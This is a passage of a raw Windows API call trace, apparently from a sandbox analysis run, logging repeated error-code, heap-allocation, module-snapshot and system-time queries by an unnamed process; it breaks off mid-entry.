0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.034] GetLastError () returned 0x0 [0054.034] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.035] SetLastError (dwErrCode=0x0) [0054.035] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x0, Size=0x68) returned 0x1e51990 [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.036] SetLastError (dwErrCode=0x0) [0054.036] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.037] SetLastError (dwErrCode=0x0) [0054.037] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.038] SetLastError (dwErrCode=0x0) [0054.038] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.039] SetLastError (dwErrCode=0x0) [0054.039] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.040] GetLastError () returned 0x0 [0054.040] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.041] GetLastError () returned 0x0 [0054.041] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.042] GetLastError () returned 0x0 [0054.042] SetLastError (dwErrCode=0x0) [0054.043] GetLastError () returned 0x0 [0054.043] SetLastError (dwErrCode=0x0) [0054.043] GetLastError () returned 0x0 [0054.043] SetLastError (dwErrCode=0x0) [0054.043] GetLastError () returned 0x0 [0054.043] SetLastError (dwErrCode=0x0) [0054.043] GetLastError () returned 0x0 [0054.043] SetLastError (dwErrCode=0x0) [0054.043] GetLastError () returned 0x0 [0054.043] SetLastError (dwErrCode=0x0) [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x98) returned 0x1e51a00 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x1f) returned 0x1e51aa0 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x36) returned 0x1e51ac8 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x37) returned 0x1e51b08 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x3c) returned 0x1e51b48 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x31) returned 0x1e51b90 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x17) returned 0x1e51bd0 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x24) returned 0x1e51bf0 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x14) returned 0x1e51c20 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0xd) returned 0x1e51c40 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x25) returned 0x1e51c58 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x39) returned 0x1e51c88 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x18) returned 0x1e51cd0 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x17) returned 0x1e51cf0 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0xe) returned 0x1e51d10 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x69) returned 0x1e51d28 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x3e) returned 0x1e51da0 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x1b) returned 0x1e51de8 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x1d) returned 0x1e51e10 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x48) returned 0x1e51e38 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x12) returned 0x1e51e88 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x18) returned 0x1e51ea8 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x1b) returned 0x1e51ec8 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x24) returned 0x1e51ef0 [0054.043] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x29) returned 0x1e51f20 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x1e) returned 0x1e51f58 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x41) returned 0x1e51f80 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x17) returned 0x1e51fd0 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0xf) returned 0x1e51ff0 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x16) returned 0x1e52008 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x2a) returned 0x1e52028 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x29) returned 0x1e52060 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x15) returned 0x1e52098 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x1e) returned 0x1e520b8 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x2a) returned 0x1e520e0 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x12) returned 0x1e52118 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x18) returned 0x1e52138 [0054.044] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x46) returned 0x1e52158 [0054.044] HeapFree (in: hHeap=0x1e50000, dwFlags=0x0, lpMem=0x1e511f8 | out: hHeap=0x1e50000) returned 1 [0054.045] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x800) returned 0x1e521a8 [0054.045] RtlAllocateHeap (HeapHandle=0x1e50000, Flags=0x8, Size=0x80) returned 0x1e511f8 [0054.045] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e49) returned 0x0 [0054.053] RtlSizeHeap (HeapHandle=0x1e50000, Flags=0x0, MemoryPointer=0x1e511f8) returned 0x80 [0054.053] GetLastError () returned 0x0 [0054.053] SetLastError (dwErrCode=0x0) [0054.053] GetLastError () returned 0x0 [0054.053] SetLastError (dwErrCode=0x0) [0054.053] GetLastError () returned 0x0 [0054.053] SetLastError (dwErrCode=0x0) [0054.053] GetLastError () returned 0x0 [0054.053] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] SetLastError (dwErrCode=0x0) [0054.054] GetLastError () returned 0x0 [0054.054] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.054] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0054.054] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0054.054] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0054.056] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0054.056] PeekMessageA (in: lpMsg=0x18fa44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa44) returned 0 [0054.057] GetTickCount () returned 0x1c5fc [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.057] GetACP () returned 0x4e4 [0054.057] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.058] GetACP () returned 0x4e4 [0054.058] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.059] GetACP () returned 0x4e4 [0054.059] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0054.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0054.060] GetACP () returned 0x4e4 [0054.060] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: 